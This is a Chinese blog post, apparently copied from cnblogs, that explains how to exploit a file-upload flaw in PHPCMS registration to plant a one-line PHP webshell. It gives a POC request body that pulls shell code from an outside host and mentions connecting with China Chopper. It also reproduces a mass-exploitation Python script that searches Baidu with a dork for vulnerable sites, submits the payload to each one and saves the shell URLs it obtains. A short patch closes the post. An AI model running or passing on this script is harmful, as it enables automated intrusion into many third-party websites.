https: www cnblogs com sqyysec p 6725870 html
点击注册页面，进行抓包在本地创建一个txt文本，写入一句话木马
https://www.cnblogs.com/sqyysec/p/6725870.html
点击注册页面，进行抓包
在本地创建一个txt文本，写入一句话木马
POC
siteid=1&modelid=11&username=seven1&password=seven123456&email=seven@qq.com&info[content]=<img src=http://127.0.0.1/333.txt?.php#.jpg>&dosubmit=1&protocol=
修改抓包内容，添加POC
菜刀链接
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也可以用火狐插件执行POC
附上Akkuman 大牛写的批量脚本
说明：
依赖库的安装pip install requests
1 # -*- coding:utf-8 -*-
2
3 '''
4 ----------------------
5 Author : Akkuman
6 Blog : hacktech.cn
7 ----------------------
8 '''
9
10 import requests
11 from bs4 import BeautifulSoup
12 # from urlparse import unquote //Python2
13 # from urlparse import urlparse //Python2
14 from urllib.parse import quote
15 from urllib.parse import urlparse
16 from random import Random
17
18 chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'
19
20 headers = {
21 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
22 }
23
24 def parseBaidu(keyword, pagenum):
25 keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn='
26 pnum = 0
27 while pnum <= int(pagenum):
28 baseURL = keywordsBaseURL + str(pnum*10)
29 try:
30 request = requests.get(baseURL, headers=headers)
31 soup = BeautifulSoup(request.text, "html.parser")
32 for a in soup.select('div.c-container > h3 > a'):
33 url = requests.get(a['href'], headers=headers, timeout=7).url
34 yield url
35 except:
36 yield None
37 finally:
38 pnum += 1
39
40
41 def saveShell(shellUrl):
42 with open("webShell.txt","a+") as f:
43 f.write("[*]%s\n" % shellUrl)
44
45 def main():
46 data = {
47 "siteid": "1",
48 "modelid": "1",
49 "username": "akkumandsad",
50 "password": "123456",
51 "email": "akkakkumafa@qq.com",
52 # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt，一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt
53 "info[content]": "<img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg>",
54 "dosubmit": "1",
55 "protocol": "",
56 }
57 for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10):
58 try:
59 if crawlUrl:
60 rand_name = chars[Random().randint(0, len(chars) - 1)]
61 data["username"] = "akkuman_%s" % rand_name
62 data["email"] = "akkuman_%s@qq.com" % rand_name
63 host = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostname
64 url = host + "/index.php?m=member&c=index&a=register&siteid=1"
65 htmlContent = requests.post(url, data=data, timeout=10)
66 successUrl = ""
67 if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
68 successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
69 print("[*]Shell : %s" % successUrl)
70 saveShell(successUrl)
71 if successUrl == "":
72 print("[x]Failed : Failed to getshell.")
73 else:
74 continue
75 except:
76 print("Request Error")
77
78
79
80 if __name__ == '__main__':
81 main()
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修复方法：
打开phpcms\libs\classes\attachment.class.php
在168行代码下面添加如下代码
1 if(!stripos($ext,$filename)){
2 $arryfilename = explode("|", $ext);
3 foreach($arryfilename as $n=>$fn){
4 if($fn){
5 $filename = $fn;
6 continue;
7 }
8 }
9 }
